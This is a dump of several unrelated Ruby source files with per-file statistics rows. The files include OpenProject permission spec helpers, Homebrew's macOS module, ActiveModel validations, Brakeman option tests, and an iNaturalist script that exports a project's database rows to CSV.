# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
module PermissionSpecHelpers
def spec_permissions(test_denied = true)
describe 'w/ valid auth' do
before { allow(User).to receive(:current).and_return valid_user }
it 'grants access' do
fetch
if respond_to? :expect_redirect_to
expect(response).to be_redirect
case expect_redirect_to
when true
expect(response.redirect_url).not_to match(%r'/login')
when Regexp
expect(response.redirect_url).to match(expect_redirect_to)
else
expect(response).to redirect_to(expect_redirect_to)
end
elsif respond_to? :expect_no_content
expect(response.response_code).to eq(204)
else
expect(response.response_code).to eq(200)
end
end
end
if test_denied
describe 'w/o valid auth' do
before { allow(User).to receive(:current).and_return invalid_user }
it 'denies access' do
fetch
if invalid_user.logged?
expect(response.response_code).to eq(403)
elsif controller.send(:api_request?)
expect(response.response_code).to eq(401)
else
expect(response).to be_redirect
expect(response.redirect_url).to match(%r'/login')
end
end
end
end
end
end
shared_examples_for 'a controller action with unrestricted access' do
let(:valid_user) { FactoryBot.create(:anonymous) }
extend PermissionSpecHelpers
spec_permissions(false)
end
shared_examples_for 'a controller action with require_login' do
let(:valid_user) { FactoryBot.create(:user) }
let(:invalid_user) { FactoryBot.create(:anonymous) }
extend PermissionSpecHelpers
spec_permissions
end
shared_examples_for 'a controller action with require_admin' do
let(:valid_user) { User.where(admin: true).first || FactoryBot.create(:admin) }
let(:invalid_user) { FactoryBot.create(:user) }
extend PermissionSpecHelpers
spec_permissions
end
shared_examples_for 'a controller action which needs project permissions' do
# Expecting the following environment
#
# let(:project) { FactoryBot.create(:project) }
#
# def fetch
# get 'action', project_id: project.identifier
# end
#
# Optionally also provide the following
#
# let(:permission) { :edit_project }
#
# def expect_redirect_to
# # Regexp - which should match the full redirect URL
# # true - action should redirect, but not to /login
# # other - passed to response.should redirect_to(other)
# true
# end
let(:valid_user) { FactoryBot.create(:user) }
let(:invalid_user) { FactoryBot.create(:user) }
def add_membership(user, permissions)
role = FactoryBot.create(:role, permissions: Array(permissions))
member = FactoryBot.build(:member, user: user, project: project)
member.roles = [role]
member.save!
end
before do
if defined? permission
# special permission needed - make valid_user a member with proper role,
# invalid_user is member without special rights
add_membership(valid_user, permission)
add_membership(invalid_user, :view_project)
else
# no special permission needed - make valid_user a simple member,
# invalid_user is non-member
add_membership(valid_user, :view_project)
end
end
extend PermissionSpecHelpers
spec_permissions
end
| 31.841379 | 91 | 0.701105 |
ab4e94bbdaee17aa80fc46722bffea54d94c01e1 | 283 | class CreateArtists < ActiveRecord::Migration[4.2]
def up
end
def change
create_table :artists do |t|
t.string :name
t.string :genre
t.integer :age
t.string :hometown
end
end
def down
end
end | 15.722222 | 50 | 0.522968 |
1d291b235fcecff7628719d019d4feb9bf2de6b5 | 6,350 | # typed: false
# frozen_string_literal: true
require "os/mac/version"
require "os/mac/xcode"
require "os/mac/xquartz"
require "os/mac/sdk"
require "os/mac/keg"
module OS
# Helper module for querying system information on macOS.
module Mac
extend T::Sig
module_function
# rubocop:disable Naming/ConstantName
# rubocop:disable Style/MutableConstant
::MacOS = OS::Mac
# rubocop:enable Naming/ConstantName
# rubocop:enable Style/MutableConstant
raise "Loaded OS::Mac on generic OS!" if ENV["HOMEBREW_TEST_GENERIC_OS"]
# This can be compared to numerics, strings, or symbols
# using the standard Ruby Comparable methods.
def version
@version ||= Version.from_symbol(full_version.to_sym)
end
# This can be compared to numerics, strings, or symbols
# using the standard Ruby Comparable methods.
def full_version
@full_version ||= Version.new((ENV["HOMEBREW_MACOS_VERSION"] || ENV["HOMEBREW_OSX_VERSION"]).chomp)
end
def full_version=(version)
@full_version = Version.new(version.chomp)
@version = nil
end
sig { returns(::Version) }
def latest_sdk_version
# TODO: bump version when new Xcode macOS SDK is released
::Version.new("11.0")
end
private :latest_sdk_version
sig { returns(::Version) }
def sdk_version
full_version.major_minor
end
def outdated_release?
# TODO: bump version when new macOS is released and also update
# references in docs/Installation.md and
# https://github.com/Homebrew/install/blob/HEAD/install.sh
version < "10.14"
end
def prerelease?
# TODO: bump version when new macOS is released or announced
# and also update references in docs/Installation.md and
# https://github.com/Homebrew/install/blob/HEAD/install.sh
version >= "12"
end
def languages
return @languages if @languages
os_langs = Utils.popen_read("defaults", "read", "-g", "AppleLanguages")
if os_langs.blank?
# User settings don't exist so check the system-wide one.
os_langs = Utils.popen_read("defaults", "read", "/Library/Preferences/.GlobalPreferences", "AppleLanguages")
end
os_langs = os_langs.scan(/[^ \n"(),]+/)
@languages = os_langs
end
def language
languages.first
end
def active_developer_dir
@active_developer_dir ||= Utils.popen_read("/usr/bin/xcode-select", "-print-path").strip
end
sig { returns(T::Boolean) }
def sdk_root_needed?
if MacOS::CLT.installed?
# If there's no CLT SDK, return false
return false unless MacOS::CLT.provides_sdk?
# If the CLT is installed and headers are provided by the system, return false
return false unless MacOS::CLT.separate_header_package?
end
true
end
# If a specific SDK is requested:
#
# 1. The requested SDK is returned, if it's installed.
# 2. If the requested SDK is not installed, the newest SDK (if any SDKs
# are available) is returned.
# 3. If no SDKs are available, nil is returned.
#
# If no specific SDK is requested, the SDK matching the OS version is returned,
# if available. Otherwise, the latest SDK is returned.
def sdk_locator
if CLT.installed? && CLT.provides_sdk?
CLT.sdk_locator
else
Xcode.sdk_locator
end
end
def sdk(v = nil)
sdk_locator.sdk_if_applicable(v)
end
def sdk_for_formula(f, v = nil)
# If the formula requires Xcode, don't return the CLT SDK
return Xcode.sdk if f.requirements.any? { |req| req.is_a? XcodeRequirement }
sdk(v)
end
# Returns the path to an SDK or nil, following the rules set by {sdk}.
def sdk_path(v = nil)
s = sdk(v)
s&.path
end
def sdk_path_if_needed(v = nil)
# Prefer CLT SDK when both Xcode and the CLT are installed.
# Expected results:
# 1. On Xcode-only systems, return the Xcode SDK.
# 2. On Xcode-and-CLT systems where headers are provided by the system, return nil.
# 3. On CLT-only systems with no CLT SDK, return nil.
# 4. On CLT-only systems with a CLT SDK, where headers are provided by the system, return nil.
# 5. On CLT-only systems with a CLT SDK, where headers are not provided by the system, return the CLT SDK.
return unless sdk_root_needed?
sdk_path(v)
end
# See these issues for some history:
#
# - {https://github.com/Homebrew/legacy-homebrew/issues/13}
# - {https://github.com/Homebrew/legacy-homebrew/issues/41}
# - {https://github.com/Homebrew/legacy-homebrew/issues/48}
def macports_or_fink
paths = []
# First look in the path because MacPorts is relocatable and Fink
# may become relocatable in the future.
%w[port fink].each do |ponk|
path = which(ponk)
paths << path unless path.nil?
end
# Look in the standard locations, because even if port or fink are
# not in the path they can still break builds if the build scripts
# have these paths baked in.
%w[/sw/bin/fink /opt/local/bin/port].each do |ponk|
path = Pathname.new(ponk)
paths << path if path.exist?
end
# Finally, some users make their MacPorts or Fink directories
# read-only in order to try out Homebrew, but this doesn't work as
# some build scripts error out when trying to read from these now
# unreadable paths.
%w[/sw /opt/local].map { |p| Pathname.new(p) }.each do |path|
paths << path if path.exist? && !path.readable?
end
paths.uniq
end
def app_with_bundle_id(*ids)
path = mdfind(*ids)
.reject { |p| p.include?("/Backups.backupdb/") }
.first
Pathname.new(path) if path.present?
end
def mdfind(*ids)
(@mdfind ||= {}).fetch(ids) do
@mdfind[ids] = Utils.popen_read("/usr/bin/mdfind", mdfind_query(*ids)).split("\n")
end
end
def pkgutil_info(id)
(@pkginfo ||= {}).fetch(id) do |key|
@pkginfo[key] = Utils.popen_read("/usr/sbin/pkgutil", "--pkg-info", key).strip
end
end
def mdfind_query(*ids)
ids.map! { |id| "kMDItemCFBundleIdentifier == #{id}" }.join(" || ")
end
end
end
| 30.528846 | 116 | 0.643622 |
18277086d4e87f4a1160809497a3ccb6904346c6 | 286 | module DemocracyInAction
class Proxy < ActiveRecord::Base
set_table_name :democracy_in_action_proxies
belongs_to :local, :polymorphic => true
def before_destroy
DemocracyInAction::Mirroring.api.delete self.remote_table, {'key' => self.remote_key}
end
end
end
| 26 | 91 | 0.748252 |
01293837251896257c15f8df2f53af7faf53b3eb | 734 | # Fedena
# Copyright 2011 Foradian Technologies Private Limited
#
# This product includes software developed at
# Project Fedena - http://www.projectfedena.org/
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module SmsSettingsHelper
end
| 34.952381 | 74 | 0.775204 |
3958615a182cb687e30cd8fea69d255f036efcaf | 1,395 | # encoding: UTF-8
#
# Author:: Xabier de Zuazo (<[email protected]>)
# Copyright:: Copyright (c) 2014 Onddo Labs, SL.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'chefspec'
require 'chefspec/berkshelf'
require 'should_not/rspec'
RSpec.configure do |config|
# Prohibit using the should syntax
config.expect_with :rspec do |spec|
spec.syntax = :expect
end
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = 'random'
# ChefSpec configuration
config.log_level = :fatal
config.color = true
config.formatter = :documentation
config.tty = true
config.platform = 'ubuntu'
config.version = '12.04'
end
at_exit { ChefSpec::Coverage.report! }
| 30.326087 | 77 | 0.733333 |
d5460a58bd1a50a9b58efa6227c9dee6b6a8039d | 4,517 | require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/hash/keys'
require 'active_model/errors'
module ActiveModel
module Validations
extend ActiveSupport::Concern
include ActiveSupport::Callbacks
included do
extend ActiveModel::Translation
define_callbacks :validate, :scope => :name
end
module ClassMethods
# Validates each attribute against a block.
#
# class Person < ActiveRecord::Base
# validates_each :first_name, :last_name do |record, attr, value|
# record.errors.add attr, 'starts with z.' if value[0] == ?z
# end
# end
#
# Options:
# * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
# * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
# occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
# * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
# not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
def validates_each(*attr_names, &block)
options = attr_names.extract_options!.symbolize_keys
validates_with BlockValidator, options.merge(:attributes => attr_names.flatten), &block
end
# Adds a validation method or block to the class. This is useful when
# overriding the +validate+ instance method becomes too unwieldly and
# you're looking for more descriptive declaration of your validations.
#
# This can be done with a symbol pointing to a method:
#
# class Comment < ActiveRecord::Base
# validate :must_be_friends
#
# def must_be_friends
# errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
# end
# end
#
# Or with a block which is passed the current record to be validated:
#
# class Comment < ActiveRecord::Base
# validate do |comment|
# comment.must_be_friends
# end
#
# def must_be_friends
# errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
# end
# end
#
# This usage applies to +validate_on_create+ and +validate_on_update as well+.
def validate(*args, &block)
options = args.last
if options.is_a?(Hash) && options.key?(:on)
options[:if] = Array(options[:if])
options[:if] << "@_on_validate == :#{options[:on]}"
end
set_callback(:validate, *args, &block)
end
end
# Returns the Errors object that holds all information about attribute error messages.
def errors
@errors ||= Errors.new(self)
end
# Runs all the specified validations and returns true if no errors were added otherwise false.
def valid?
errors.clear
_run_validate_callbacks
errors.empty?
end
# Performs the opposite of <tt>valid?</tt>. Returns true if errors were added, false otherwise.
def invalid?
!valid?
end
protected
# Hook method defining how an attribute value should be retieved. By default this is assumed
# to be an instance named after the attribute. Override this method in subclasses should you
# need to retrieve the value for a given attribute differently e.g.
# class MyClass
# include ActiveModel::Validations
#
# def initialize(data = {})
# @data = data
# end
#
# private
#
# def read_attribute_for_validation(key)
# @data[key]
# end
# end
#
def read_attribute_for_validation(key)
send(key)
end
end
end
Dir[File.dirname(__FILE__) + "/validations/*.rb"].sort.each do |path|
filename = File.basename(path)
require "active_model/validations/#{filename}"
end
| 37.330579 | 144 | 0.627186 |
ab7a97a19228b1d84bacb2547d9799cf7c5907ca | 466 | require 'spec_helper'
describe GroupMembership, :type => :model do
it { is_expected.to belong_to :user }
it { is_expected.to belong_to :group }
it 'validates the uniqueness of group and user' do
described_class.create!(group_id: 3945, user_id: 89343)
membership = described_class.new(group_id: 3945, user_id: 89343)
expect(membership).to be_invalid
expect(membership.errors.full_messages).to eq ["User already a member of group"]
end
end
| 29.125 | 84 | 0.738197 |
e978632337f81086fe2409949da19d8225deedeb | 163 | require "helix_runtime"
begin
require 'margin_calculator/native'
rescue LoadError
warn "Unable to load margin_calculator/native. Please run `rake build`"
end
| 20.375 | 73 | 0.797546 |
f81a3babacbe7c28767c234ed1f840a5cba63ca4 | 183 | module Ecm
module Core
class HomeController < Ecm::Core::Configuration.base_controller.constantize
def index
render plain: 'Welcome!'
end
end
end
end
| 16.636364 | 79 | 0.666667 |
2166deda7a8a450c7507eb77e6667087706c1aab | 664 | require 'ripper'
module Ryakuzu
class Ripper
attr_reader :schema
def parse(filename)
sexp = ::Ripper.sexp IO.read(filename)
schema_commands = sexp[1][0][2][2]
@schema = schema_commands.inject({}) do |s, command|
next if command.length < 1
command_name = command[1][1][1]
if command_name == 'create_table'
table_name = command[1][2][1][0][1][1][1].to_sym
columns = command[2][2].map { |i| i[4][1][0][1][1][1] }
s.merge!(table_name => columns)
end
s
end
self
end
def self.parse(filename)
new.parse(filename).schema
end
end
end
| 21.419355 | 68 | 0.558735 |
28dbe72e88f6125c05918ef0adfd8aaa26aa87e4 | 1,759 | require_relative '../util/model'
module ZOHOCRMSDK
module SendMail
class BodyWrapper
include Util::Model
# Creates an instance of BodyWrapper
def initialize
@data = nil
@key_modified = Hash.new
end
# The method to get the data
# @return An instance of Array
def data
@data
end
# The method to set the value to data
# @param data [Array] An instance of Array
def data=(data)
if data!=nil and !data.is_a? Array
raise SDKException.new(Constants::DATA_TYPE_ERROR, 'KEY: data EXPECTED TYPE: Array', nil, nil)
end
@data = data
@key_modified['data'] = 1
end
# The method to check if the user has modified the given key
# @param key [String] A String
# @return A Integer value
def is_key_modified(key)
if key!=nil and !key.is_a? String
raise SDKException.new(Constants::DATA_TYPE_ERROR, 'KEY: key EXPECTED TYPE: String', nil, nil)
end
if @key_modified.key?(key)
return @key_modified[key]
end
nil
end
# The method to mark the given key as modified
# @param key [String] A String
# @param modification [Integer] A Integer
def set_key_modified(key, modification)
if key!=nil and !key.is_a? String
raise SDKException.new(Constants::DATA_TYPE_ERROR, 'KEY: key EXPECTED TYPE: String', nil, nil)
end
if modification!=nil and !modification.is_a? Integer
raise SDKException.new(Constants::DATA_TYPE_ERROR, 'KEY: modification EXPECTED TYPE: Integer', nil, nil)
end
@key_modified[key] = modification
end
end
end
end
| 27.484375 | 114 | 0.607732 |
87ff2357b928c9d081ded94b7612c0b9a3dcb699 | 1,379 | #-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2020 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
desc 'Fetch changesets from the repositories'
namespace :redmine do
task fetch_changesets: :environment do
Repository.fetch_changesets
end
end
| 37.27027 | 91 | 0.765047 |
b9706973b3a7d08c23a03bdcd2989cd2b7fffb0a | 11,501 | require_relative '../test'
require 'brakeman/options'
class BrakemanOptionsTest < Minitest::Test
EASY_OPTION_INPUTS = {
:exit_on_warn => "-z",
:exit_on_error => "--exit-on-error",
:rails3 => "-3",
:run_all_checks => "-A",
:assume_all_routes => "-a",
:escape_html => "-e",
:ignore_model_output => "--ignore-model-output",
:ignore_attr_protected => "--ignore-protected",
:interprocedural => "--interprocedural",
:ignore_ifs => "--no-branching",
:skip_libs => "--skip-libs",
:debug => "-d",
:interactive_ignore => "-I",
:report_routes => "-m",
:absolute_paths => "--absolute-paths",
:list_checks => "-k",
:list_optional_checks => "--optional-checks",
:show_version => "-v",
:show_help => "-h",
:force_scan => "--force-scan",
:ensure_latest => "--ensure-latest",
:allow_check_paths_in_config => "--allow-check-paths-in-config",
:pager => "--pager",
}
ALT_OPTION_INPUTS = {
:exit_on_warn => "--exit-on-warn",
:rails3 => "--rails3",
:run_all_checks => "--run-all-checks",
:escape_html => "--escape-html",
:debug => "--debug",
:interactive_ignore => "--interactive-ignore",
:report_routes => "--routes",
:show_version => "--version",
:show_help => "--help"
}
def test_easy_options
EASY_OPTION_INPUTS.each_pair do |key, value|
options = setup_options_from_input(value)
assert options[key], "Expected #{key} to be #{!!value}."
end
end
def test_alt_easy_options
ALT_OPTION_INPUTS.each_pair do |key, value|
options = setup_options_from_input(value)
assert options[key], "Expected #{key} to be #{!!value}."
end
end
def test_assume_routes_option
options = setup_options_from_input("-a")
assert options[:assume_all_routes]
options = setup_options_from_input("--assume-routes")
assert options[:assume_all_routes]
options = setup_options_from_input("--no-assume-routes")
assert !options[:assume_all_routes]
end
def test_no_exit_on_warn
options = setup_options_from_input("--exit-on-warn")
assert options[:exit_on_warn]
options = setup_options_from_input("--no-exit-on-warn")
assert !options[:exit_on_warn]
end
def test_faster_options
options = setup_options_from_input("--faster")
assert options[:ignore_ifs] && options[:skip_libs]
end
def test_index_libs_option
options = setup_options_from_input("--index-libs")
assert options[:index_libs]
options = setup_options_from_input("--no-index-libs")
assert !options[:index_libs]
end
def test_limit_options
options = setup_options_from_input("--branch-limit", "17")
assert_equal 17, options[:branch_limit]
end
def test_no_threads_option
options = setup_options_from_input("-n").merge!({
:quiet => true,
:app_path => "#{TEST_PATH}/apps/rails4"})
assert !options[:parallel_checks]
end
def test_path_option
options = setup_options_from_input("--path", "#{TEST_PATH}/app/rails4")
assert_equal "#{TEST_PATH}/app/rails4", options[:app_path]
options = setup_options_from_input("-p", "#{TEST_PATH}/app/rails4")
assert_equal "#{TEST_PATH}/app/rails4", options[:app_path]
end
def test_progress_option
options = setup_options_from_input("--progress")
assert options[:report_progress]
options = setup_options_from_input("--no-progress")
assert !options[:report_progress]
end
def test_quiet_option
options = setup_options_from_input("-q")
assert options[:quiet]
options = setup_options_from_input("--quiet")
assert options[:quiet]
options = setup_options_from_input("--no-quiet")
assert !options[:quiet]
end
def test_rails_4_option
options = setup_options_from_input("-4")
assert options[:rails4] && options[:rails3]
options = setup_options_from_input("--rails4")
assert options[:rails4] && options[:rails3]
end
def test_safe_methods_option
options = setup_options_from_input("--safe-methods", "test_method2,test_method1,test_method2")
assert_equal Set[:test_method1, :test_method2], options[:safe_methods]
options = setup_options_from_input("-s", "test_method2,test_method1,test_method2")
assert_equal Set[:test_method1, :test_method2], options[:safe_methods]
end
def test__url_safe_option
options = setup_options_from_input("--url-safe-methods", "test_method2,test_method1,test_method2")
assert_equal Set[:test_method1, :test_method2], options[:url_safe_methods]
end
def test__skip_file_option
options = setup_options_from_input("--skip-files", "file1.rb,file2.rb,file3.js,file2.rb")
assert_equal Set["file1.rb", "file2.rb", "file3.js"], options[:skip_files]
end
def test_only_files_option
options = setup_options_from_input("--only-files", "file1.rb,file2.rb,file3.js,file2.rb")
assert_equal Set["file1.rb", "file2.rb", "file3.js"], options[:only_files]
end
def test_add_lib_paths_option
options = setup_options_from_input("--add-libs-path", "../tests/,/badStuff/hackable,/etc/junk,../tests/")
assert_equal Set["../tests/", "/badStuff/hackable", "/etc/junk"], options[:additional_libs_path]
end
def test_run_checks_option
options = setup_options_from_input("-t", "CheckSelectTag,CheckSelectVulnerability,CheckSend,CheckSelectTag,I18nXSS")
assert_equal Set["CheckSelectTag", "CheckSelectVulnerability", "CheckSend", "CheckI18nXSS"], options[:run_checks]
options = setup_options_from_input("--test", "CheckSelectTag,CheckSelectVulnerability,CheckSend,CheckSelectTag,I18nXSS")
assert_equal Set["CheckSelectTag", "CheckSelectVulnerability", "CheckSend", "CheckI18nXSS"], options[:run_checks]
end
def test_skip_checks_option
options = setup_options_from_input("-x", "CheckSelectTag,CheckSelectVulnerability,CheckSend,CheckSelectTag,I18nXSS")
assert_equal Set["CheckSelectTag", "CheckSelectVulnerability", "CheckSend", "CheckI18nXSS"], options[:skip_checks]
options = setup_options_from_input("--except", "CheckSelectTag,CheckSelectVulnerability,CheckSend,CheckSelectTag,I18nXSS")
assert_equal Set["CheckSelectTag", "CheckSelectVulnerability", "CheckSend", "CheckI18nXSS"], options[:skip_checks]
end
def test_add_checks_paths_option
options = setup_options_from_input("--add-checks-path", "../addl_tests/")
local_path = File.expand_path('../addl_tests/')
assert_equal Set["#{local_path}"], options[:additional_checks_path]
end
def test_format_options
format_options = {
pdf: :to_pdf,
text: :to_s,
html: :to_html,
csv: :to_csv,
tabs: :to_tabs,
json: :to_json,
markdown: :to_markdown,
codeclimate: :to_codeclimate,
cc: :to_cc,
plain: :to_plain
}
format_options.each_pair do |key, value|
options = setup_options_from_input("-f", "#{key}")
assert_equal value, options[:output_format]
end
format_options.each_pair do |key, value|
options = setup_options_from_input("--format", "#{key}")
assert_equal value, options[:output_format]
end
end
def test_CSS_file_option
options = setup_options_from_input("--css-file", "../test.css")
local_path = File.expand_path('../test.css')
assert_equal local_path, options[:html_style]
end
def test_ignore_file_option
options = setup_options_from_input("-i", "dont_warn_for_these.rb")
assert_equal "dont_warn_for_these.rb", options[:ignore_file]
options = setup_options_from_input("--ignore-config", "dont_warn_for_these.rb")
assert_equal "dont_warn_for_these.rb", options[:ignore_file]
end
def test_combine_warnings_option
options = setup_options_from_input("--combine-locations")
assert options[:combine_locations]
options = setup_options_from_input("--no-combine-locations")
assert !options[:combine_locations]
end
def test_report_direct_option
options = setup_options_from_input("-r")
assert !options[:check_arguments]
options = setup_options_from_input("--report-direct")
assert !options[:check_arguments]
end
def test_highlight_option
options = setup_options_from_input("--highlights")
assert options[:highlight_user_input]
options = setup_options_from_input("--no-highlights")
assert !options[:highlight_user_input]
end
def test_message_length_limit_option
options = setup_options_from_input("--message-limit", "17")
assert_equal 17, options[:message_limit]
end
def test_table_width_option
options = setup_options_from_input("--table-width", "1717")
assert_equal 1717, options[:table_width]
end
def test_output_file_options
options = setup_options_from_input("-o", "output.rb")
assert_equal ["output.rb"], options[:output_files]
options = setup_options_from_input("--output", "output1.rb,output2.rb")
assert_equal ["output1.rb,output2.rb"], options[:output_files]
end
def test_output_color_option
options = setup_options_from_input("--color")
assert options[:output_color]
options = setup_options_from_input("--no-color")
assert !options[:output_color]
end
def test_sperate_models_option
options = setup_options_from_input("--separate-models")
assert !options[:collapse_mass_assignment]
options = setup_options_from_input("--no-separate-models")
assert options[:collapse_mass_assignment]
end
def test_github_repo_option
options = setup_options_from_input("--github-repo", "presidentbeef/brakeman")
assert_equal "presidentbeef/brakeman", options[:github_repo]
end
def test_min_confidence_option
options = setup_options_from_input("-w", "2")
assert_equal 1, options[:min_confidence]
options = setup_options_from_input("--confidence", "1")
assert_equal 2, options[:min_confidence]
end
def test_compare_file_options
options = setup_options_from_input("--compare", "past_flunks.json")
compare_file = File.expand_path("past_flunks.json")
assert_equal compare_file, options[:previous_results_json]
end
def test_compare_file_and_output_options
options = setup_options_from_input("-o", "output.json", "--compare", "output.json")
assert_equal "output.json", options[:comparison_output_file]
end
def test_config_file_options
options = setup_options_from_input("--config-file", "config.rb")
config_file = File.expand_path("config.rb")
assert_equal config_file, options[:config_file]
options = setup_options_from_input("-c", "config.rb")
assert_equal config_file, options[:config_file]
end
def test_create_config_file_options
options = setup_options_from_input("--create-config", "config.rb")
assert_equal "config.rb", options[:create_config]
options = setup_options_from_input("-C")
assert options[:create_config]
end
def test_summary_options
options = setup_options_from_input("--summary")
assert_equal :summary_only, options[:summary_only]
options = setup_options_from_input("--no-summary")
assert_equal :no_summary, options[:summary_only]
end
private
def setup_options_from_input(*args)
options, _ = Brakeman::Options.parse(args)
options
end
end
| 33.628655 | 126 | 0.696635 |
21121dc9b280ac4c277293dcfd59e6f6fccb49b2 | 871 | require 'mocha-on-bacon'
require File.expand_path('../motion_stub.rb', __FILE__)
require 'bubble-wrap'
describe BubbleWrap do
describe '.root' do
it 'returns an absolute path' do
BubbleWrap.root[0].should == '/'
end
end
describe '.require' do
it 'delegates to Requirement.scan' do
BW::Requirement.expects(:scan)
BW.require('foo')
end
it 'finds files with relative paths' do
BW::Requirement.clear!
BW.require '../motion/core.rb'
BW::Requirement.files.member?(File.expand_path('../../../motion/core.rb', __FILE__)).should == true
end
it 'finds files with absolute paths' do
BW::Requirement.clear!
BW.require File.expand_path('../../../motion/core.rb', __FILE__)
BW::Requirement.files.member?(File.expand_path('../../../motion/core.rb', __FILE__)).should == true
end
end
end
| 28.096774 | 105 | 0.647532 |
871916f9c0ef8de4f1e6e935ae0f57e79c58cd6c | 4,294 | record_id = ARGV[0]
table_names = []
resurrection_cmds = []
system "rm resurrect_#{record_id}*"
puts "Exporting from projects..."
fname = "resurrect_#{record_id}-projects.csv"
dbconfig = Rails.configuration.database_configuration[Rails.env]
psql_cmd = "psql"
psql_cmd += " -h #{dbconfig['host']}" if dbconfig['host']
psql_cmd += " -U #{dbconfig['username']}" if dbconfig['username']
psql_cmd += " #{dbconfig['database']}"
cmd = "#{psql_cmd} -c \"COPY (SELECT * FROM projects WHERE id = #{record_id}) TO STDOUT WITH CSV\" > #{fname}"
puts "\t#{cmd}"
system cmd
resurrection_cmds << "psql inaturalist_production -c \"\\copy projects FROM '#{fname}' WITH CSV\""
update_statements = []
has_many_reflections = Project.reflections.select{|k,v| v.macro == :has_many || v.macro == :has_one}
has_many_reflections.each do |k, reflection|
# Avoid those pesky :through relats
next unless reflection.klass.column_names.include?(reflection.foreign_key)
next unless [:delete_all, :destroy].include?(reflection.options[:dependent])
next if k.to_s == "photos"
puts "Exporting #{k}..."
fname = "resurrect_#{record_id}-#{reflection.table_name}.csv"
unless table_names.include?(reflection.table_name)
system "test #{fname} || rm #{fname}"
end
cmd = "#{psql_cmd} -c \"COPY (SELECT * FROM #{reflection.table_name} WHERE #{reflection.foreign_key} = #{record_id}) TO STDOUT WITH CSV\" >> #{fname}"
system cmd
puts "\t#{cmd}"
resurrection_cmds << "psql inaturalist_production -c \"\\copy #{reflection.table_name} FROM '#{fname}' WITH CSV\""
end
puts "Exporting from listed_taxa..."
fname = "resurrect_#{record_id}-listed_taxa.csv"
sql = <<-SQL
SELECT listed_taxa.*
FROM
listed_taxa
JOIN lists ON lists.id = listed_taxa.list_id
WHERE
lists.project_id = #{record_id}
SQL
cmd = "#{psql_cmd} -c \"COPY (#{sql.gsub("\n", ' ')}) TO STDOUT WITH CSV\" > #{fname}"
puts "\t#{cmd}"
system cmd
resurrection_cmds << "psql inaturalist_production -c \"\\copy listed_taxa FROM '#{fname}' WITH CSV\""
puts "Exporting from assessment_sections..."
fname = "resurrect_#{record_id}-assessment_sections.csv"
sql = <<-SQL
SELECT assessment_sections.*
FROM
assessment_sections
JOIN assessments ON assessments.id = assessment_sections.assessment_id
WHERE
assessments.project_id = #{record_id}
SQL
cmd = "#{psql_cmd} -c \"COPY (#{sql.gsub("\n", ' ')}) TO STDOUT WITH CSV\" > #{fname}"
puts "\t#{cmd}"
system cmd
resurrection_cmds << "psql inaturalist_production -c \"\\copy assessment_sections FROM '#{fname}' WITH CSV\""
[Post, AssessmentSection].each do |klass|
puts "Exporting #{klass.name.underscore.humanize} on posts..."
fname = "resurrect_#{record_id}-#{klass.name.underscore}-comments.csv"
sql = if klass == Project
<<-SQL
SELECT comments.*
FROM
comments
JOIN posts ON posts.id = comments.parent_id
WHERE
comments.parent_type = '#{klass.name}'
AND posts.parent_type = 'Project'
AND posts.parent_id = #{record_id}
SQL
else
<<-SQL
SELECT comments.*
FROM
comments
JOIN assessment_sections ON assessment_sections.id = comments.parent_id
JOIN assessments ON assessments.id = assessment_sections.assessment_id
WHERE
comments.parent_type = 'AssessmentSection'
AND assessments.project_id = #{record_id}
SQL
end
cmd = "#{psql_cmd} -c \"COPY (#{sql.gsub("\n", ' ')}) TO STDOUT WITH CSV\" > #{fname}"
puts "\t#{cmd}"
system cmd
resurrection_cmds << "psql inaturalist_production -c \"\\copy comments FROM '#{fname}' WITH CSV\""
end
resurrection_cmds << "bundle exec rails r 'p = Project.find(#{record_id}); p.elastic_index!; Observation.elastic_index!( scope: p.observations )'"
